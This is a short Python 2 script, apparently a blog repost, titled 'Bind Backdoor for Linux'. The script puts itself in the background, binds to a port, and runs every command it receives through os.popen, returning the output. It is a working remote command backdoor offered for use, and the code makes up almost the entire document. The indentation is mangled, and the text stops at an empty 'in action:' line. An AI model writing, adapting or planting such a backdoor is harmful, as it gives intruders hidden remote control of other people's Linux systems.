Bind Backdoor for Linux

#!/usr/bin/python
#Info   : This is a linux based bind backdoor and
#         this is NOT an interactive Shell!
#Author : otoy
#Date   : 0x102010
#Blog   : otoyrood.wordpress.com

import socket,sys,os,re

def daemonize():
 pid = os.fork()
 if(pid != 0):
 os._exit(0)

def main():
 if len(sys.argv) < 2:
print "Usage:",sys.argv[0],"<port>"
sys.exit(1)
 UID = os.getlogin()
 CWD = os.getcwd()
 STM = os.uname()
 if UID == 'root':
SIGN = ' # '
 else:
SIGN = ' $ '
 ls = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
 port = int(sys.argv[1])
 ls.bind(('', port))
 ls.listen(1)
 (conn, addr) = ls.accept()
 try:
while (1):
bdsh = UID+'@'+STM[1]+':'+CWD+SIGN
conn.send(bdsh)
pktcmd = conn.recv(1024)
rcmd = pktcmd.strip()
cdir = re.findall('cd (.*)',rcmd)
try:
os.chdir(cdir[0])
CWD = os.getcwd()
except OSError:
 conn.send('No such file or directory: '+cdir[0])
except IndexError:
pass
if rcmd  == 'quit':
conn.close()
sys.exit(1)
elif rcmd == '':
rcmd = 'echo " "'
lcmd = os.popen(rcmd)
cmdstr = lcmd.read().strip()
conn.send(cmdstr+'\n')
except(socket.error):
conn.close()
sys.exit(1)

if __name__ == '__main__':
 try:
daemonize()
main()
 except(KeyboardInterrupt):
sys.exit(1)

in action: